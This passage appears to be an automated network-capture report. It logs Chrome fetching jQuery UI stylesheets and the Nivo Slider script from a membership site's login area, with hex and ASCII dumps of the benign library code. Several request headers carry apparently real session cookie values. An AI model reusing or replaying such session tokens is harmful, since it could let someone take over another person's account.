.ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_cd0a0a_256x240.png)/*{iconsEr
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 69 63 6f 6e 2d 74 72 69 61 6e 67 6c 65 2d 32 2d 65 2d 77 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 34 34 70 78 20 2d 31 36 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 2d 31 2d 6e 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 33 32 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 2d 31 2d 6e 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 36 70 78 20 2d 33 32 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 2d 31 2d 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 33 32 70 78 20 2d 33 32 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 2d 31 2d 73 65 20 7b 20 62 61 63 6b 67 72 Data Ascii: icon-triangle-2-e-w { background-position: -144px -16px; }.ui-icon-arrow-1-n { background-position: 0 -32px; }.ui-icon-arrow-1-ne { background-position: -16px -32px; }.ui-icon-arrow-1-e { background-position: -32px -32px; }.ui-icon-arrow-1-se { backgr
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 20 2d 34 38 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 74 68 69 63 6b 2d 31 2d 77 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 39 36 70 78 20 2d 34 38 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 74 68 69 63 6b 2d 31 2d 6e 77 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 31 32 70 78 20 2d 34 38 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 74 68 69 63 6b 2d 32 2d 6e 2d 73 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 32 38 70 78 20 2d 34 38 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 74 68 69 63 6b 2d 32 2d 6e 65 2d 73 77 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 34 Data Ascii: -48px; }.ui-icon-arrowthick-1-w { background-position: -96px -48px; }.ui-icon-arrowthick-1-nw { background-position: -112px -48px; }.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; }.ui-icon-arrowthick-2-ne-sw { background-position: -14
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 31 36 30 70 78 20 2d 36 34 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 72 65 66 72 65 73 68 2d 31 2d 73 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 37 36 70 78 20 2d 36 34 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 2d 34 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 38 30 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 2d 34 2d 64 69 61 67 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 36 70 78 20 2d 38 30 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 65 78 74 6c 69 6e 6b 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 33 32 70 78 20 2d 38 30 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d Data Ascii: 160px -64px; }.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; }.ui-icon-arrow-4 { background-position: 0 -80px; }.ui-icon-arrow-4-diag { background-position: -16px -80px; }.ui-icon-extlink { background-position: -32px -80px; }.ui-icon-
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 34 70 78 20 2d 39 36 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 74 61 67 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 32 34 30 70 78 20 2d 39 36 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 68 6f 6d 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 31 31 32 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 66 6c 61 67 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 36 70 78 20 2d 31 31 32 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 63 61 6c 65 6e 64 61 72 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 33 32 70 78 20 2d 31 31 32 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 63 61 72 74 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 Data Ascii: 4px -96px; }.ui-icon-tag { background-position: -240px -96px; }.ui-icon-home { background-position: 0 -112px; }.ui-icon-flag { background-position: -16px -112px; }.ui-icon-calendar { background-position: -32px -112px; }.ui-icon-cart { background-posi
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 70 78 20 2d 31 32 38 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 6c 69 67 68 74 62 75 6c 62 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 32 38 70 78 20 2d 31 32 38 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 73 63 69 73 73 6f 72 73 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 34 34 70 78 20 2d 31 32 38 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 63 6c 69 70 62 6f 61 72 64 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 36 30 70 78 20 2d 31 32 38 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 63 6f 70 79 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 31 37 36 70 78 20 2d 31 32 38 70 78 3b 20 7d 0a 2e 75 69 2d 69 63 6f 6e 2d 63 6f 6e Data Ascii: px -128px; }.ui-icon-lightbulb { background-position: -128px -128px; }.ui-icon-scissors { background-position: -144px -128px; }.ui-icon-clipboard { background-position: -160px -128px; }.ui-icon-copy { background-position: -176px -128px; }.ui-icon-con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.6	49916	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:01 UTC	738	OUT	GET /jmc-assets/global-js/jquery.nivo.slider.pack.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:01 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:01 GMT Content-Type: application/javascript Content-Length: 12210 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Wed, 13 Feb 2013 19:15:05 GMT etag: "2fb2-4d59ff5ab4040" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:01 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafba3a4512d6-ATL
2024-04-23 14:54:01 UTC	840	IN	Data Raw: 2f 2a 0a 20 2a 20 6a 51 75 65 72 79 20 4e 69 76 6f 20 53 6c 69 64 65 72 20 76 33 2e 31 0a 20 2a 20 68 74 74 70 3a 2f 2f 6e 69 76 6f 2e 64 65 76 37 73 74 75 64 69 6f 73 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 2c 20 44 65 76 37 73 74 75 64 69 6f 73 0a 20 2a 20 46 72 65 65 20 74 6f 20 75 73 65 20 61 6e 64 20 61 62 75 73 65 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 20 2a 2f 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 61 2e Data Ascii: /* * jQuery Nivo Slider v3.1 * http://nivo.dev7studios.com * * Copyright 2012, Dev7studios * Free to use and abuse under the MIT license. * http://www.opensource.org/licenses/mit-license.php */(function(a){var b=function(b,c){var d=a.extend({},a.
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 74 61 72 74 53 6c 69 64 65 3e 3d 65 2e 74 6f 74 61 6c 53 6c 69 64 65 73 29 7b 64 2e 73 74 61 72 74 53 6c 69 64 65 3d 65 2e 74 6f 74 61 6c 53 6c 69 64 65 73 2d 31 7d 65 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 64 2e 73 74 61 72 74 53 6c 69 64 65 7d 69 66 28 61 28 67 5b 65 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 5d 29 2e 69 73 28 22 69 6d 67 22 29 29 7b 65 2e 63 75 72 72 65 6e 74 49 6d 61 67 65 3d 61 28 67 5b 65 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 5d 29 7d 65 6c 73 65 7b 65 2e 63 75 72 72 65 6e 74 49 6d 61 67 65 3d 61 28 67 5b 65 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 5d 29 2e 66 69 6e 64 28 22 69 6d 67 3a 66 69 72 73 74 22 29 7d 69 66 28 61 28 67 5b 65 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 5d 29 2e 69 73 28 22 61 22 29 29 7b 61 28 67 5b 65 2e 63 75 72 Data Ascii: tartSlide>=e.totalSlides){d.startSlide=e.totalSlides-1}e.currentSlide=d.startSlide}if(a(g[e.currentSlide]).is("img")){e.currentImage=a(g[e.currentSlide])}else{e.currentImage=a(g[e.currentSlide]).find("img:first")}if(a(g[e.currentSlide]).is("a")){a(g[e.cur
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 2e 6e 69 76 6f 2d 6e 65 78 74 4e 61 76 22 2c 66 29 2e 6c 69 76 65 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 65 2e 72 75 6e 6e 69 6e 67 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 6a 29 3b 6a 3d 22 22 3b 6f 28 66 2c 67 2c 64 2c 22 6e 65 78 74 22 29 7d 29 7d 69 66 28 64 2e 63 6f 6e 74 72 6f 6c 4e 61 76 29 7b 65 2e 63 6f 6e 74 72 6f 6c 4e 61 76 45 6c 3d 61 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 69 76 6f 2d 63 6f 6e 74 72 6f 6c 4e 61 76 22 3e 3c 2f 64 69 76 3e 27 29 3b 66 2e 61 66 74 65 72 28 65 2e 63 6f 6e 74 72 6f 6c 4e 61 76 45 6c 29 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 67 2e 6c 65 6e 67 74 68 3b 6b 2b 2b 29 7b 69 66 28 64 2e 63 6f 6e 74 72 6f 6c 4e 61 76 54 68 75 6d 62 73 Data Ascii: .nivo-nextNav",f).live("click",function(){if(e.running){return false}clearInterval(j);j="";o(f,g,d,"next")})}if(d.controlNav){e.controlNavEl=a('<div class="nivo-controlNav"></div>');f.after(e.controlNavEl);for(var k=0;k<g.length;k++){if(d.controlNavThumbs
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 29 7b 6f 28 66 2c 67 2c 64 2c 66 61 6c 73 65 29 7d 2c 64 2e 70 61 75 73 65 54 69 6d 65 29 7d 64 2e 61 66 74 65 72 43 68 61 6e 67 65 2e 63 61 6c 6c 28 74 68 69 73 29 7d 29 3b 76 61 72 20 6d 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 69 66 28 61 28 64 2e 63 75 72 72 65 6e 74 49 6d 61 67 65 29 2e 70 61 72 65 6e 74 28 29 2e 69 73 28 22 61 22 29 29 61 28 64 2e 63 75 72 72 65 6e 74 49 6d 61 67 65 29 2e 70 61 72 65 6e 74 28 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 22 62 6c 6f 63 6b 22 29 3b 61 28 27 69 6d 67 5b 73 72 63 3d 22 27 2b 64 2e 63 75 72 72 65 6e 74 49 6d 61 67 65 2e 61 74 74 72 28 22 73 72 63 22 29 2b 27 22 5d 27 2c 62 29 2e 6e 6f 74 28 22 2e 6e 69 76 6f 2d 6d 61 69 6e 2d 69 6d 61 67 65 2c 2e 6e 69 76 6f 2d 63 6f 6e 74 72 6f 6c 20 69 6d Data Ascii: ){o(f,g,d,false)},d.pauseTime)}d.afterChange.call(this)});var m=function(b,c,d){if(a(d.currentImage).parent().is("a"))a(d.currentImage).parent().css("display","block");a('img[src="'+d.currentImage.attr("src")+'"]',b).not(".nivo-main-image,.nivo-control im
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 70 28 29 2e 61 6e 69 6d 61 74 65 28 7b 68 65 69 67 68 74 3a 61 28 64 2e 63 75 72 72 65 6e 74 49 6d 61 67 65 29 2e 68 65 69 67 68 74 28 29 7d 2c 63 2e 61 6e 69 6d 53 70 65 65 64 29 7d 3b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 69 66 28 61 28 64 2e 63 75 72 72 65 6e 74 49 6d 61 67 65 29 2e 70 61 72 65 6e 74 28 29 2e 69 73 28 22 61 22 29 29 61 28 64 2e 63 75 72 72 65 6e 74 49 6d 61 67 65 29 2e 70 61 72 65 6e 74 28 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 2c 22 62 6c 6f 63 6b 22 29 3b 61 28 27 69 6d 67 5b 73 72 63 3d 22 27 2b 64 2e 63 75 72 72 65 6e 74 49 6d 61 67 65 2e 61 74 74 72 28 22 73 72 63 22 29 2b 27 22 5d 27 2c 62 29 2e 6e 6f 74 28 22 2e 6e 69 76 6f 2d 6d 61 69 6e 2d 69 6d 61 67 65 2c 2e 6e 69 76 6f 2d 63 6f 6e 74 72 6f Data Ascii: p().animate({height:a(d.currentImage).height()},c.animSpeed)};var n=function(b,c,d){if(a(d.currentImage).parent().is("a"))a(d.currentImage).parent().css("display","block");a('img[src="'+d.currentImage.attr("src")+'"]',b).not(".nivo-main-image,.nivo-contro
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 6d 53 70 65 65 64 29 7d 3b 76 61 72 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 66 3d 62 2e 64 61 74 61 28 22 6e 69 76 6f 3a 76 61 72 73 22 29 3b 69 66 28 66 26 26 66 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 3d 3d 66 2e 74 6f 74 61 6c 53 6c 69 64 65 73 2d 31 29 7b 64 2e 6c 61 73 74 53 6c 69 64 65 2e 63 61 6c 6c 28 74 68 69 73 29 7d 69 66 28 28 21 66 7c 7c 66 2e 73 74 6f 70 29 26 26 21 65 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 64 2e 62 65 66 6f 72 65 43 68 61 6e 67 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 69 66 28 21 65 29 7b 68 2e 61 74 74 72 28 22 73 72 63 22 2c 66 2e 63 75 72 72 65 6e 74 49 6d 61 67 65 2e 61 74 74 72 28 22 73 72 63 22 29 29 7d 65 6c 73 65 7b 69 66 28 65 3d 3d 3d 22 70 72 65 76 22 29 7b 68 2e 61 74 74 Data Ascii: mSpeed)};var o=function(b,c,d,e){var f=b.data("nivo:vars");if(f&&f.currentSlide===f.totalSlides-1){d.lastSlide.call(this)}if((!f\|\|f.stop)&&!e){return false}d.beforeChange.call(this);if(!e){h.attr("src",f.currentImage.attr("src"))}else{if(e==="prev"){h.att
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 22 22 3b 69 66 28 67 3d 3d 3d 22 73 6c 69 63 65 44 6f 77 6e 22 7c 7c 67 3d 3d 3d 22 73 6c 69 63 65 44 6f 77 6e 52 69 67 68 74 22 7c 7c 67 3d 3d 3d 22 73 6c 69 63 65 44 6f 77 6e 4c 65 66 74 22 29 7b 6d 28 62 2c 64 2c 66 29 3b 6b 3d 30 3b 6c 3d 30 3b 6f 3d 61 28 22 2e 6e 69 76 6f 2d 73 6c 69 63 65 22 2c 62 29 3b 69 66 28 67 3d 3d 3d 22 73 6c 69 63 65 44 6f 77 6e 4c 65 66 74 22 29 7b 6f 3d 61 28 22 2e 6e 69 76 6f 2d 73 6c 69 63 65 22 2c 62 29 2e 5f 72 65 76 65 72 73 65 28 29 7d 6f 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 28 74 68 69 73 29 3b 63 2e 63 73 73 28 7b 74 6f 70 3a 22 30 70 78 22 7d 29 3b 69 66 28 6c 3d 3d 3d 64 2e 73 6c 69 63 65 73 2d 31 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 2e 61 Data Ascii: "";if(g==="sliceDown"\|\|g==="sliceDownRight"\|\|g==="sliceDownLeft"){m(b,d,f);k=0;l=0;o=a(".nivo-slice",b);if(g==="sliceDownLeft"){o=a(".nivo-slice",b)._reverse()}o.each(function(){var c=a(this);c.css({top:"0px"});if(l===d.slices-1){setTimeout(function(){c.a
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 64 22 29 7b 6d 28 62 2c 64 2c 66 29 3b 6b 3d 30 3b 6c 3d 30 3b 61 28 22 2e 6e 69 76 6f 2d 73 6c 69 63 65 22 2c 62 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 28 74 68 69 73 29 3b 76 61 72 20 65 3d 63 2e 77 69 64 74 68 28 29 3b 63 2e 63 73 73 28 7b 74 6f 70 3a 22 30 70 78 22 2c 77 69 64 74 68 3a 22 30 70 78 22 7d 29 3b 69 66 28 6c 3d 3d 3d 64 2e 73 6c 69 63 65 73 2d 31 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 2e 61 6e 69 6d 61 74 65 28 7b 77 69 64 74 68 3a 65 2c 6f 70 61 63 69 74 79 3a 22 31 2e 30 22 7d 2c 64 2e 61 6e 69 6d 53 70 65 65 64 2c 22 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 62 2e 74 72 69 67 67 65 72 28 22 6e 69 76 6f 3a 61 6e 69 6d 46 69 6e 69 73 68 65 64 22 29 7d 29 7d 2c 31 30 30 Data Ascii: d"){m(b,d,f);k=0;l=0;a(".nivo-slice",b).each(function(){var c=a(this);var e=c.width();c.css({top:"0px",width:"0px"});if(l===d.slices-1){setTimeout(function(){c.animate({width:e,opacity:"1.0"},d.animSpeed,"",function(){b.trigger("nivo:animFinished")})},100
2024-04-23 14:54:01 UTC	1369	IN	Data Raw: 65 22 29 7b 6e 28 62 2c 64 2c 66 29 3b 72 3d 64 2e 62 6f 78 43 6f 6c 73 2a 64 2e 62 6f 78 52 6f 77 73 3b 6c 3d 30 3b 6b 3d 30 3b 76 61 72 20 75 3d 30 3b 76 61 72 20 76 3d 30 3b 76 61 72 20 77 3d 5b 5d 3b 77 5b 75 5d 3d 5b 5d 3b 73 3d 61 28 22 2e 6e 69 76 6f 2d 62 6f 78 22 2c 62 29 3b 69 66 28 67 3d 3d 3d 22 62 6f 78 52 61 69 6e 52 65 76 65 72 73 65 22 7c 7c 67 3d 3d 3d 22 62 6f 78 52 61 69 6e 47 72 6f 77 52 65 76 65 72 73 65 22 29 7b 73 3d 61 28 22 2e 6e 69 76 6f 2d 62 6f 78 22 2c 62 29 2e 5f 72 65 76 65 72 73 65 28 29 7d 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 5b 75 5d 5b 76 5d 3d 61 28 74 68 69 73 29 3b 76 2b 2b 3b 69 66 28 76 3d 3d 3d 64 2e 62 6f 78 43 6f 6c 73 29 7b 75 2b 2b 3b 76 3d 30 3b 77 5b 75 5d 3d 5b 5d 7d 7d 29 3b 66 6f 72 28 Data Ascii: e"){n(b,d,f);r=d.boxCols*d.boxRows;l=0;k=0;var u=0;var v=0;var w=[];w[u]=[];s=a(".nivo-box",b);if(g==="boxRainReverse"\|\|g==="boxRainGrowReverse"){s=a(".nivo-box",b)._reverse()}s.each(function(){w[u][v]=a(this);v++;if(v===d.boxCols){u++;v=0;w[u]=[]}});for(
2024-04-23 14:54:01 UTC	418	IN	Data Raw: 7d 3b 61 2e 66 6e 2e 6e 69 76 6f 53 6c 69 64 65 72 2e 64 65 66 61 75 6c 74 73 3d 7b 65 66 66 65 63 74 3a 22 72 61 6e 64 6f 6d 22 2c 73 6c 69 63 65 73 3a 31 35 2c 62 6f 78 43 6f 6c 73 3a 38 2c 62 6f 78 52 6f 77 73 3a 34 2c 61 6e 69 6d 53 70 65 65 64 3a 35 30 30 2c 70 61 75 73 65 54 69 6d 65 3a 33 65 33 2c 73 74 61 72 74 53 6c 69 64 65 3a 30 2c 64 69 72 65 63 74 69 6f 6e 4e 61 76 3a 74 72 75 65 2c 63 6f 6e 74 72 6f 6c 4e 61 76 3a 74 72 75 65 2c 63 6f 6e 74 72 6f 6c 4e 61 76 54 68 75 6d 62 73 3a 66 61 6c 73 65 2c 70 61 75 73 65 4f 6e 48 6f 76 65 72 3a 74 72 75 65 2c 6d 61 6e 75 61 6c 41 64 76 61 6e 63 65 3a 66 61 6c 73 65 2c 70 72 65 76 54 65 78 74 3a 22 50 72 65 76 22 2c 6e 65 78 74 54 65 78 74 3a 22 4e 65 78 74 22 2c 72 61 6e 64 6f 6d 53 74 61 72 74 3a 66 Data Ascii: };a.fn.nivoSlider.defaults={effect:"random",slices:15,boxCols:8,boxRows:4,animSpeed:500,pauseTime:3e3,startSlide:0,directionNav:true,controlNav:true,controlNavThumbs:false,pauseOnHover:true,manualAdvance:false,prevText:"Prev",nextText:"Next",randomStart:f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.6	49917	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:01 UTC	772	OUT	GET /includes/css/themes/base/ui.core.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:01 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:01 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"544-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:01 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafbc2842ad57-ATL
2024-04-23 14:54:01 UTC	842	IN	Data Raw: 35 34 34 0d 0a 2f 2a 0a 2a 20 6a 51 75 65 72 79 20 55 49 20 43 53 53 20 46 72 61 6d 65 77 6f 72 6b 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 41 55 54 48 4f 52 53 2e 74 78 74 20 28 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 2f 61 62 6f 75 74 29 0a 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 28 4d 49 54 2d 4c 49 43 45 4e 53 45 2e 74 78 74 29 20 61 6e 64 20 47 50 4c 20 28 47 50 4c 2d 4c 49 43 45 4e 53 45 2e 74 78 74 29 20 6c 69 63 65 6e 73 65 73 2e 0a 2a 2f 0a 0a 2f 2a 20 4c 61 79 6f 75 74 20 68 65 6c 70 65 72 73 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 75 69 2d 68 65 6c 70 65 72 2d 68 69 64 64 65 6e Data Ascii: 544/** jQuery UI CSS Framework* Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)* Dual licensed under the MIT (MIT-LICENSE.txt) and GPL (GPL-LICENSE.txt) licenses.// Layout helpers----------------------------------*/.ui-helper-hidden
2024-04-23 14:54:01 UTC	513	IN	Data Raw: 70 3a 20 30 3b 20 6c 65 66 74 3a 20 30 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 6f 70 61 63 69 74 79 3a 20 30 3b 20 66 69 6c 74 65 72 3a 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 30 29 3b 20 7d 0a 0a 0a 2f 2a 20 49 6e 74 65 72 61 63 74 69 6f 6e 20 43 75 65 73 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 75 69 2d 73 74 61 74 65 2d 64 69 73 61 62 6c 65 64 20 7b 20 63 75 72 73 6f 72 3a 20 64 65 66 61 75 6c 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 0a 0a 2f 2a 20 49 63 6f 6e 73 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 0a 2f 2a 20 73 74 61 74 65 73 20 61 6e 64 20 69 6d 61 67 65 73 20 2a Data Ascii: p: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); }/* Interaction Cues----------------------------------/.ui-state-disabled { cursor: default !important; }/ Icons----------------------------------// states and images *
2024-04-23 14:54:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.6	49918	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
